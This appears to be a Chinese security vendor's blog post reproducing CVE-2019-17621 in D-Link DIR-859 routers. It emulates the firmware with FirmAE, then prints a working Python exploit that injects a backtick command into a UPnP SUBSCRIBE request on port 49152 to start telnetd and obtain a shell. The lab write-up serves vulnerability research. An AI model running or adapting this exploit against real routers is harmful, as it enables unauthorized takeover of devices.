• 提交需求
    *
    *

    *
    *
    *
    立即提交
    点击”立即提交”,表明我理解并同意 《黄金城科技隐私条款》

    logo

      产品与服务
      解决方案
      技术支持
      合作发展
      关于黄金城

      申请试用
        D-Link DIR-859 RCE漏洞(CVE-2019-17621)复现
        发布时间:2023-03-17 阅读次数: 1144 次
        环境搭建

        1.FirmAE 工具安装

        首先拉取FirmAE 工具仓库


        git clone --recursive https://github.com/pr0v3rbs/FirmAE

        图片

        运行下载脚本



        cd FirmAE/./download.sh

        图片

        运行./install.sh进行安装

        图片

        2.下载固件

        本文模拟的是设备型号为D-Link DIR-859

        下载地址:


        http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-859

        下载后得到DIR859Ax_FW105b03.bin固件文件

        图片

        3.FirmAE工具初始化

        FirmAE工具目录下执行./init.sh进行初始化

        图片

        4.安装binwalk

        这里使用FirmAE工具目录下的binwalk安装程序进行安装


        cd binwalk-2.3.3/python3 setup.py install

        图片

        5.模拟运行固件
        执行如下命令对固件进行解压


        binwalk -Me /root/DIR859_FW102b03.bin --run-as=root

        图片

        图片

        执行如下命令来模拟运行固件


        sudo ./run.sh -r DIR-859 /root/DIR859_FW102b03.bin

        图片

        使用浏览器访问http://192.168.0.1,出现如下界面则表明成功模拟了一台D-Link DIR-859路由器

        图片

        漏洞复现

        查看端口


        nmap 192.168.0.1

        图片

        使用49152端口

        EXP内容如下:




        import socketimport osfrom time import sleep
        def httpSUB(server, port, shell_file):    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"    Payload += "Host: " + str(server) + ":" + str(port) + "\n"    Payload += "Callback: <http://192.168.126.128:33/>\n"    Payload += "NT: upnp:event\n"    Payload += "Timeout: Second-1800\n"    Payload += "Accept-Encoding: gzip, deflate\n"    Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"    print(Payload)    sleep(1)    print('[*] Sending Payload')    con.connect((socket.gethostbyname(server),port))    con.send(Payload.encode())    results = con.recv(4096)
           sleep(1)    print('[*] Running Telnetd Service')
        serverInput = raw_input('IP Router: ')portInput = 49152
        httpSUB(serverInput, portInput, '`telnetd`')

        执行EXP


        python poc.py

        图片

        使用nmap扫描可以看到已成功通过漏洞开启了telnetd服务


        nmap 192.168.0.1

        图片

        执行telnet 192.168.0.1,成功获取shell

        图片


        免费试用
        服务热线

        马上咨询

        400-811-3777

        回到顶部
        【网站地图】【sitemap】